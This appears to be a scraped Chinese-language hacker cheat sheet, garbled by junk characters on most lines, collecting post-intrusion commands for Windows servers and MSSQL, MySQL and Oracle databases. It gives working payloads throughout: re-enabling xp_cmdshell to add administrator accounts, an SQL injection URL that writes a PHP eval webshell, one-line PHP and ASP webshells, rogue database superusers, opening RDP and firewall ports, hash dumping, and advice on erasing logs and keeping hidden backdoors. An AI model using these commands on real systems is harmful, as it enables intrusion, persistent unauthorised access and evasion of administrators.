4 }; x4 o! V3 c9 k. [) a! X( {1.net user administrator /passwordreq:no
% s* ]3 ~0 @# Q, W- k这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了& L) H$ L* d! x# P
2.比较巧妙的建克隆号的步骤
2 o8 [, }3 w @( B, R! w" P先建一个user的用户
/ Q# M7 n; g: u7 M然后导出注册表。然后在计算机管理里删掉 o( Z6 v. s: e. i- P: `! t
在导入,在添加为管理员组4 R5 W6 q$ A A, L0 Z: M& Y1 O
3.查radmin密码
/ o9 B, L, _7 t- m2 _" V Preg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg
6 D" p/ D2 E! e* U6 w" `4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options]: z' I7 ]1 |6 D6 ?# r: C
建立一个"services.exe"的项
* u0 w; ]* t. E- ~0 O, q再在其下面建立(字符串值)
% V. `( {4 t1 Z' T) |0 C, } I键值为mu ma的全路径% t% Q3 j3 A9 I) F
5.runas /user:guest cmd
, Q. O) D" e( A( @9 F" S8 p测试用户权限!
2 @. @( |$ [% Q1 s% d6.、 tlntadmn config sec = -ntlm exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'-- 其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?3 p$ K' K, _: q0 Y& D- `- |
7.入侵后漏洞修补、痕迹清理,后门置放:! \9 Z8 T4 |: n& Q4 U) n8 J
基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门
+ a5 E4 [& u& v3 S8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c, @9 L9 ~7 n* Q3 g9 ^' G/ l9 Q
0 J; v6 n4 V% k
for example
' ^9 r% H' c- `2 D" ~/ R. Y% E% I; v7 |
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'
* M ]: U$ D6 [/ r. d% i" `( z4 K$ p' x+ v' O8 N: I
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'$ g! [$ D8 \+ O4 B
' s3 N! e: [& y. o
9:MSSQL SERVER 2005默认把xpcmdshell 给ON了. _+ U" z& C0 p. t
如果要启用的话就必须把他加到高级用户模式$ Q% l/ T. [* g/ D- m+ B$ W
可以直接在注入点那里直接注入
1 P7 A, K4 }0 ^& i( c1 X5 v0 Mid=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
8 o! H) ~& H8 S4 F然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
) f( }2 ~1 z) d& s或者
* H- x$ A" C; d- y% U6 u. ssp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
, l" V0 H, r& z; l, ^' s来恢复cmdshell。1 b; X- E; \! P$ u7 p3 m I1 L
7 I9 x0 M$ i# o# L$ p分析器% s- R2 h8 N- Q4 P6 z0 D. s
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--+ c9 g! H/ ^- N3 d% N5 K% _
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")! P6 H7 b; C+ P8 w) F
10.xp_cmdshell新的恢复办法! E! g6 H- _$ C) U. L+ F% @
xp_cmdshell新的恢复办法
& ^ u, Q a5 A- K" N& N6 N% x扩展储存过程被删除以后可以有很简单的办法恢复:) H# y" ~6 _% d$ m
删除
" b/ S- G. b3 q, B$ i' }2 s) [drop procedure sp_addextendedproc
4 O. W) m$ G) c3 x( o; odrop procedure sp_oacreate. s5 _9 A( o Y M4 P
exec sp_dropextendedproc 'xp_cmdshell'5 h R& H& R. r: O6 N5 D4 Q4 r- h
4 i5 Y1 k6 i% r1 Q* d1 P) \. y恢复& y+ t6 g. \* }0 r
dbcc addextendedproc ("sp_oacreate","odsole70.dll")% a# _2 V7 U# p7 |, r7 w- R
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")' J4 s) W9 o4 C3 A3 f" m O
9 n6 u, k; ]: A) M/ ^2 M
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
6 d7 }/ {0 Z% t% e3 E
# h5 T) D3 l5 ?* S4 f; z9 N-----------------------------5 v7 H1 j" E3 a d" s& _3 ?
+ E2 _& [- e. h2 q5 O1 I. I
删除扩展存储过过程xp_cmdshell的语句:
4 H: z1 C! A( M% Xexec sp_dropextendedproc 'xp_cmdshell'
8 I0 P8 G5 g) N% y; \$ U& \
0 L4 ]. I8 ]4 d2 e恢复cmdshell的sql语句
" @* z8 H9 ?& _1 G c' i0 W" z' M2 texec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' l) n9 N* l a9 j! |
& s8 f% i+ a, ^0 u& \- D5 O# v
; w) N1 C4 k/ ^: G6 H- }- s开启cmdshell的sql语句/ h9 Y) \5 t7 L' X4 I/ A# Y$ e
9 p, \6 i( x4 _' y/ ~, q0 Mexec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
+ M6 y; P/ \" E+ e* e
5 X, h5 \ ]; \2 S ] y判断存储扩展是否存在; _' s; e' B3 j9 |& i$ C$ k& O3 q
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'# F9 Q4 z2 t1 ]
返回结果为1就ok
3 i- c5 J2 i, ~7 e/ z0 M
$ @# R! D. @0 M恢复xp_cmdshell
1 s% f% t, u! `% ?exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'3 N/ g0 Z- m8 i% m# M9 f
返回结果为1就ok( Z' u9 d Z; k: U: p$ x- w
9 s; P7 F: t( X否则上传xplog7.0.dll6 Z3 z3 [ N: W h$ b" y0 p+ \
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
9 I: B. A5 I2 A7 E, [# _ T1 i) U4 K# N+ \2 U% m
堵上cmdshell的sql语句
' M( B, ^( m& O/ h f% N+ Z0 Zsp_dropextendedproc "xp_cmdshel
) L3 B' Z3 y/ L* A-------------------------
* t) O8 z. C1 v1 z清除3389的登录记录用一条系统自带的命令:! u& l. t/ E/ g# c4 S! t8 L: s
reg delete "hkcu\Software\Microsoft\Terminal Server Client" /f4 P& X5 ]9 T5 I% k) e
( P8 C" d: ]4 R0 K
然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件! ^( b: C: L1 E+ j0 \; r) y0 g
在 mysql里查看当前用户的权限9 R4 U* c6 H) s. T
show grants for ' f6 N0 \0 c! V9 f+ z5 c( b1 P
7 F" G9 f$ N; r以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。8 H9 C. b1 K/ L. G. l
$ t' D+ w& ?; Q2 ?! }# C7 ^1 u- x
Create USER 'itpro'@'%' IDENTIFIED BY '123';
$ K- }. {/ J7 Q4 F
# F- t. j9 \$ j; X0 Y dGRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION
' [8 \( O8 @( K' j$ i$ k) M
$ s, U3 \6 @' F2 w& ^2 ]" r# L( JMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
/ y9 k# _3 y2 z4 W3 U) q! I! o m
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;# K$ x2 e/ S2 z. t" p( P
0 V, h5 J* _: N; ^+ ^
搞完事记得删除脚印哟。, l- Y; \% Y& T" H0 z& H
" r0 T: v$ I! p2 z) J; j0 ?Drop USER 'itpro'@'%';& x- Z( f" v0 F' D( o' X8 R# d0 T
5 K# O3 ?& ?4 _4 q/ A2 p+ D9 k2 u6 f
Drop DATABASE IF EXISTS `itpro` ;
. _: {" N$ C' d/ @2 b% A, J. @- \& j& ~% d+ C! ]
当前用户获取system权限
& R, ^, q5 \' {0 h: usc Create SuperCMD binPath= "cmd /K start" type= own type= interact9 c; ?, d1 m4 d/ C
sc start SuperCMD- v0 ~ H; `. E) D0 i. m. I! G* G
程序代码
; E. f3 ?7 u, B<SCRIPT LANGUAGE="VBScript">
* u L! ?3 a5 E" P" }set wsnetwork=CreateObject("WSCRIPT.NETWORK")7 p% Y, i) Y/ G/ H
os="WinNT://"&wsnetwork.ComputerName4 H& {( O7 A- u* T- ^
Set ob=GetObject(os)% ^- _; ~9 C, b. a" {
Set oe=GetObject(os&"/Administrators,group")
( u. a8 a! d9 b+ F. KSet od=ob.Create("user","nosec")
- H" U2 l$ `% _. O$ M; D, g7 @od.SetPassword "123456abc!@#"; l: ^0 G' s& J
od.SetInfo
( B6 I# R. {& CSet of=GetObject(os&"/nosec",user)
2 V. Y0 @# J j! V& Loe.add os&"/nosec"
+ t2 r8 E4 {2 |</Script>& \ Z( Z/ K3 r+ y$ }
<script language=javascript>window.close();</script>
: i& I- F( p" v" m# o3 Y) m: a5 a
, v8 ]5 I( t I( L% i+ d3 U7 Q- X( {7 \/ T6 J( [& x1 s
! P) @+ C: X" d6 d) B- U. R
! M7 o$ V9 [5 i8 ^% _突破验证码限制入后台拿shell4 H3 Q' ~; i" t4 |( {
程序代码- H$ W( H5 h, r$ }/ w
REGEDIT4 4 l6 t& r3 E8 ]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]
1 \+ \* r& `( E. g @1 W y6 |"BlockXBM"=dword:00000000; L( F2 ?& F$ n0 m: y8 ~/ k0 m- f
- a" D7 l$ K; z; q- R) a3 `& h% q保存为code.reg,导入注册表,重器IE
/ s1 X$ ?$ }9 h/ N就可以了9 z( s1 n6 ]" }
union写马
8 e* i- u/ G6 g3 E$ r; Y7 Y$ x程序代码& u- U: _/ p0 [/ t
www.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*
! K# d/ W m6 }& b. i& T ?, ~. F1 J0 C) }4 S9 ?) i- O
应用在dedecms注射漏洞上,无后台写马
* H- w- j) R' i: ~* `, Pdedecms后台,无文件管理器,没有outfile权限的时候2 c( g+ ?7 V! S
在插件管理-病毒扫描里
2 j2 ^7 k6 H3 e' x* A9 E6 ?写一句话进include/config_hand.php里
" J; w7 [7 A! }0 A0 ^. @+ i程序代码
* M* q9 j5 t$ x4 e>';?><?php @eval($_POST[cmd]);?>
1 l f4 `+ n/ C3 D. E- k
0 K9 [5 Y( ^" F! H# H8 I$ j
( O% X$ X- }8 \7 ? Y如上格式% f6 Q2 H1 J* M& v& I
; i+ y0 ]1 P) c. o0 {$ g4 moracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解
4 T( V6 \0 |% l' k V2 U程序代码. D1 ^, _# Y8 [* v. B4 o5 J' u* T: j5 I
select username,password from dba_users;& X4 c% \. r) X7 J& \6 Y0 e
0 ^* ~* @0 i; T, @/ l
9 P0 H6 |5 o( I0 k: a( E6 u! Emysql远程连接用户: n7 h3 Y9 H9 @. B' ?7 U: O
程序代码
7 A5 i& V# ^0 K# D; {3 [9 X# X2 p- U3 G3 Y8 |
Create USER 'nosec'@'%' IDENTIFIED BY 'fuckme';9 m+ a, y. a" f3 J% g2 @" l
GRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION! `0 d7 Z+ ]( F) S) ~& B
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0) Q* T7 o6 L4 f
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
" [( k4 E4 a1 q$ B; L
/ [1 l6 p) t/ |* E( N3 w8 Q+ a2 E) S: G# t/ n' l
) f. Y7 r) E$ n* a* s6 T
. S* }4 D5 C, s" I/ K$ X5 u
echo y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
4 I4 l; t# F: |) @3 d1 Z" t8 [8 z* S' v# [, L# `+ @2 W" V
1.查询终端端口5 J- E% ^. [$ F' H
# e+ i) v7 f; E5 o: Wxp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber1 p" ?' J% I9 X$ S" Y/ s
* z, d2 `8 ]" C8 i
通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"
6 b& V0 L0 ~# C6 ltype tsp.reg9 E4 r m4 P3 V' K# A$ i5 B
1 ~1 G* f, B# G* M, _& `$ R2.开启XP&2003终端服务
: K+ P3 h7 n% V0 N* O
. f" `- H) c' u1 C/ Q' |
6 `9 `3 `+ {7 G3 eREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
0 ]8 z3 A5 X2 t+ ]3 A. g! `, o9 F4 W
/ m+ ^8 R) u+ A% l+ RREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f% o; v- i0 L9 x, m& s
$ N* J. D/ N% v/ o$ ?) y
3.更改终端端口为20008(0x4E28)+ u: l$ q, T$ H+ M) c
- k. F% J! P: v+ g6 t7 n
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f+ F3 p+ ?% ^5 Q/ R. d. ~/ Y+ N$ u
6 q5 K/ K6 C5 h2 u9 m" q: E$ s
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f! X" {! ` W2 B; V6 l
. u( R. t: v* g: T* }' k4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制
- e2 L3 n. J J% y0 D; P( V, x3 I+ O3 k+ u
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f, N8 F( \7 a/ ]. Z
7 i5 k r% r& E* S7 }6 ^# m o
5 K1 u/ Q9 M [6 g( m' I2 _. A2 X
5.开启Win2000的终端,端口为3389(需重启)
+ p; Z; }" u6 }! T7 `$ F m T4 Z
echo Windows Registry Editor Version 5.00 >2000.reg
$ u) ]! r% D4 \% |4 @( q% |( Kecho. >>2000.reg# n2 P# h+ U" X0 n8 g1 p4 p+ } X
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg
6 i" A& g& p8 Necho "Enabled"="0" >>2000.reg
% b! G* z7 f) recho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg
" O% v' c, F" Q5 Jecho "ShutdownWithoutLogon"="0" >>2000.reg
0 d; f4 L) J: G0 _0 I v% ?echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg ( l. \3 \3 I/ ?$ W
echo "EnableAdminTSRemote"=dword:00000001 >>2000.reg ' M% [; C" b4 Z1 F' ]7 x2 w. r
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg
, }' V- g8 ~$ Z; g& M2 q$ q3 Techo "TSEnabled"=dword:00000001 >>2000.reg
" S1 e# i4 ~: ]# k1 j6 t O# Qecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg
& l( t8 |3 |5 @9 K6 j2 _" b+ \- |echo "Start"=dword:00000002 >>2000.reg * g1 D! V4 j, z5 i3 ~. v$ Z
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg
, m. U$ [% N2 M/ g) b. vecho "Start"=dword:00000002 >>2000.reg " ?' ~, p1 S) Q
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg " \" [# N" O# p, e
echo "Hotkey"="1" >>2000.reg : J/ v0 E1 e! a* R: \
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg 8 l& Y( ?# j5 g0 l
echo "ortNumber"=dword:00000D3D >>2000.reg 8 T& w8 L, p+ e1 }
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg % ^3 J! q' L3 f$ ^3 R
echo "ortNumber"=dword:00000D3D >>2000.reg0 W5 |5 i( E8 z% z3 c
3 j8 R- f i0 r; `6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)
( \5 Y y; R, C( [1 `9 ]$ z4 K* u% x# p0 C; v9 B/ P" d! T
@ECHO OFF & cd/d %temp% & echo [version] > restart.inf8 k8 a! t0 ]: x# z; q t& O& Y
(set inf=InstallHinfSection DefaultInstall)0 o# z+ B. ]1 I# B8 J
echo signature=$chicago$ >> restart.inf! H' ?* \& Q9 M8 S) T) p2 ]
echo [defaultinstall] >> restart.inf
2 F2 y H& o3 q0 z- P2 wrundll32 setupapi,%inf% 1 %temp%\restart.inf# c( f1 R; n3 E4 s9 t
4 R; t6 Y3 N/ {0 e
. j% H1 l3 V) Z2 \$ \7.禁用TCP/IP端口筛选 (需重启)+ |) X$ V$ Q; }- ~5 W% j2 Q
/ v5 K& d# _& Z }. ?: {. E9 WREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
6 M* a+ ? G5 J, ^: i. L+ S: c: K( _3 w: C
8.终端超出最大连接数时可用下面的命令来连接
: |. w8 M+ s; m5 E
( [2 G- T* S! Z9 |' [$ d$ K' Gmstsc /v:ip:3389 /console8 P8 b* }& e4 T
$ z0 ^8 z- y' z) m% d% ]
9.调整NTFS分区权限* N \6 p P4 m% u, s# c! S& @
% ~7 z" U# j7 c& _* u! t' Z+ rcacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)
* n* k9 V2 M0 Y+ _6 u) N5 ~1 d
$ P: B" B, ^# G J9 {0 E# Ecacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件)
6 r* _8 f, U2 v* y7 c p% o. b# o6 ~* N# X3 Q7 {8 E! u* P( s
------------------------------------------------------
G" O" |7 H9 l& }8 K3389.vbs
) G d3 z, v1 D: VOn Error Resume Next1 |" i' n, C* y4 c2 Z5 _
const HKEY_LOCAL_MACHINE = &H80000002# z; U1 o) }- \+ ?
strComputer = "."
- B0 [9 I. {: N/ L$ p( HSet StdOut = WScript.StdOut; A- U$ @ O( N+ N, y: j
Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
3 v- c; J. X% Y: V+ t& JstrComputer & "\root\default:StdRegProv")" w+ e. L8 Q6 f) l( J5 j! I4 v5 n3 Z
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
+ I9 W% v3 C) z: Zoreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath7 v. R7 ?& x* ?& R
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
! }* k! H+ [4 q+ S" {5 _* Boreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath3 s- m8 K1 ?: U1 e& ^/ Y7 s
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"0 i( p! T- `& Y9 v: d5 F( {3 F
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"* ]% Z& @ V$ ~
strValueName = "fDenyTSConnections"" O! `" y" u. L5 _" y
dwValue = 0) w. W) [+ ~) g4 @8 c8 U6 D
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue( C8 |" I* u2 B; n3 h6 Z
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
0 L+ V: G* }/ TstrValueName = "ortNumber"5 i6 R6 r: N2 x5 y7 ]% j2 ~7 U4 G
dwValue = 3389
: H5 ]! }6 \# [/ n; U3 I( roreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
( V3 V$ r+ i* ?5 v$ z+ u1 ostrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"& a# [$ `# ]9 L% V( K
strValueName = "ortNumber"% s0 ~ m: N4 h
dwValue = 3389
" _" ]2 O0 r* K, f& z3 o$ Yoreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
$ p6 F6 w/ R2 x9 u" rSet R = CreateObject("WScript.Shell")
& x( g$ X: A* l/ K/ ?3 ? oR.run("Shutdown.exe -f -r -t 0")
1 N0 n! b9 i. j# ?
8 S/ M# O7 u" n0 Y/ U X删除awgina.dll的注册表键值
& J8 E. `# D6 r" P0 H# c6 d/ Q+ b程序代码8 r! G! v( v1 G6 i4 ?% c
" `! f7 W3 _- k" A9 F" |. ]8 Freg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f
5 C* O/ B$ j+ n0 J, i( t8 j
3 a; R5 I9 O, N+ d6 ]+ t4 U9 E8 \. x* Y a) T; V# c# J
7 s% `( V$ |( N6 _
. Z/ e7 S3 i' W2 [7 `程序代码
8 O2 H! m& w5 @6 h zHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash% X6 e9 {1 D2 Y- b
0 @$ D6 [' o2 [
设置为1,关闭LM Hash
8 C, I8 f+ h" o% [% F t* l, W' c2 r z% \; o& ?2 f
数据库安全:入侵Oracle数据库常用操作命令7 n- ~1 R5 R6 J% B* s* L
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。5 G7 X& y7 I! F H P' w6 p
1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。
: h ]+ i2 g( h" o# A& D9 {2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;
# O1 a. f' g" E& c6 b8 |3、SQL>connect / as sysdba ;(as sysoper)或$ l4 Q# n- z& o5 L
connect internal/oracle AS SYSDBA ;(scott/tiger)( y" ?* g) I- S) d! T
conn sys/change_on_install as sysdba;
& l n6 Q+ n0 r% R$ K4、SQL>startup; 启动数据库实例; o/ d( {1 t' c' @
5、查看当前的所有数据库: select * from v$database;
0 F" K/ d! C+ D$ F. K' `select name from v$database;
" I9 k f6 T1 H: V' R6、desc v$databases; 查看数据库结构字段
$ l. x4 I, U; O- F2 Z7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:
. U/ k! I8 j9 B- PSQL>select * from V_$PWFILE_USERS;& r) ~; V. j$ b. z8 k8 V$ B5 W
Show user;查看当前数据库连接用户
3 K. y$ {& I' B2 v8、进入test数据库:database test;
! X' u Y. ], p2 Q8 @% S9、查看所有的数据库实例:select * from v$instance;* R* ?8 l1 W6 s
如:ora9i9 j* N6 F9 w0 D- _! N5 ^
10、查看当前库的所有数据表:
" x6 [* C# R5 n. j5 tSQL> select TABLE_NAME from all_tables;0 f8 X: C' U0 t9 {, N5 P
select * from all_tables;
* b+ i8 T7 ]2 O& a. a* W! t# l. O0 [SQL> select table_name from all_tables where table_name like '%u%';! C2 D- U: t; I. P) n0 |( j
TABLE_NAME- T# d" F6 a) B
------------------------------
7 e1 K9 P6 n; H% `4 A+ v_default_auditing_options_
/ [5 S0 k0 Y. J( v ^) v5 A11、查看表结构:desc all_tables;
2 u C. B* b3 [% b3 a12、显示CQI.T_BBS_XUSER的所有字段结构:
) u+ e; j6 r: X. y/ X. V( r, Fdesc CQI.T_BBS_XUSER;4 f3 F2 e: B L& L& ^4 Y. P
13、获得CQI.T_BBS_XUSER表中的记录:
6 ?1 v/ T; y) j& t4 u* i/ s, m( jselect * from CQI.T_BBS_XUSER;6 }' h0 o4 r+ t6 J5 z
14、增加数据库用户:(test11/test)6 n* ^) j: q8 }
create user test11 identified by test default tablespace users Temporary TABLESPACE Temp;
6 k- U: k4 ?5 b( q. l, c. g0 a15、用户授权:
+ p0 W8 S. I7 c/ ygrant connect,resource,dba to test11;% a# B6 }9 t" Q; d$ x) i
grant sysdba to test11;/ t: ]) _- L. w5 ]7 t5 L8 M
commit;+ Y/ O6 b& K, P. z# f2 _: a G
16、更改数据库用户的密码:(将sys与system的密码改为test.)
, Y& j6 B! F- ]& n, \. H2 lalter user sys indentified by test;
9 w) N& z# L- ^/ `* Talter user system indentified by test; Z$ Z7 J* E/ F/ ~! J4 r
# M8 N1 N1 E' _9 s& c' r
applicationContext-util.xml7 A8 ?2 Z* j+ h( p& q- D
applicationContext.xml
3 {1 b( Z5 O- n+ H- A$ d8 hstruts-config.xml' N, ^: {& C1 g0 n% r# G
web.xml2 {$ s9 h, G& E; U" o
server.xml
( n: b3 p; K; u* `tomcat-users.xml
& `1 U7 \3 _' d. S& f* R- `, Ohibernate.cfg.xml$ Y' B4 d/ d {8 s
database_pool_config.xml
k6 f* ~/ o# P/ `% _3 z
5 f. M: V7 I2 o# B/ Q4 Q
( Q: m) P& J1 P8 A\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置" I/ g V( h7 A# U: ^
\WEB-INF\server.xml 类似http.conf+mysql.ini+php.ini6 ^1 P) b6 b( w5 Q
\WEB-INF\struts-config.xml 文件目录结构
8 s, _- w! X d* d4 G
. a$ S& v$ Q( R" yspring.properties 里边包含hibernate.cfg.xml的名称+ t) t5 j* |4 z! i" ]. O
4 ]6 M# X; C, P8 i
; e; Y. W! D; s6 T& t8 [C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml( H* V, C3 Q/ F4 t$ V7 f7 e) X
# ?' @. G+ Z/ P1 w- q) s
如果都找不到 那就看看class文件吧。。
/ A7 r, ?2 s: f3 j% A! ~/ Q9 v$ H2 o& u$ W5 P
测试1:
! g1 {3 H- x- O4 DSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1* E3 E8 I x9 ]. x
# E; [2 i1 Z s测试2:# Q9 ~1 n1 }6 C- T8 J& u$ A9 A7 I( v
7 ?+ \, U7 b8 G
create table dirs(paths varchar(100),paths1 varchar(100), id int)
$ w9 R$ V9 d3 Y; C, S" S' c" n9 K+ A+ _' [. l G
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
/ ]2 V& v$ f9 L u& V% Z M" Q7 t6 U8 h2 r, q2 n. b
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
% |4 \5 z l ^0 B3 d
+ U; P. v: g7 x$ M* G3 F$ E查看虚拟机中的共享文件:& |4 x) n C( X, }, s5 C& @4 M0 T
在虚拟机中的cmd中执行
* U% d5 u. Q+ g. ]5 [\\.host\Shared Folders7 }# b$ p8 m1 K& I
! P' ~1 Q6 M1 M; Z9 }5 P( @5 i2 V% i# q
cmdshell下找终端的技巧
+ E. m* R5 f4 h1 |3 [1 R1 x找终端:
$ V4 x s* m( a6 J( `: I2 p第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! # O/ Y7 y/ _$ I' n! P% T# @
而终端所对应的服务名为:TermService 5 ~! b' H( C( R7 y. Q
第二步:用netstat -ano命令,列出所有端口对应的PID值! 5 J3 ` h4 z/ s( R& ]( u6 t- y* l
找到PID值所对应的端口 i4 {2 @$ f. l8 u" b! `5 L+ ~ X
- y5 z8 d) A7 u: n查询sql server 2005中的密码hash5 g* b; J, F" b% Y1 I
SELECT password_hash FROM sys.sql_logins where name='sa'
3 b- {9 [# L' ^SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a) B2 C6 J4 |/ t' B" y$ K3 z
access中导出shell
3 m$ g. h) c% E8 i) P: Z* E9 R- w, K4 d0 B& C, [6 {0 c
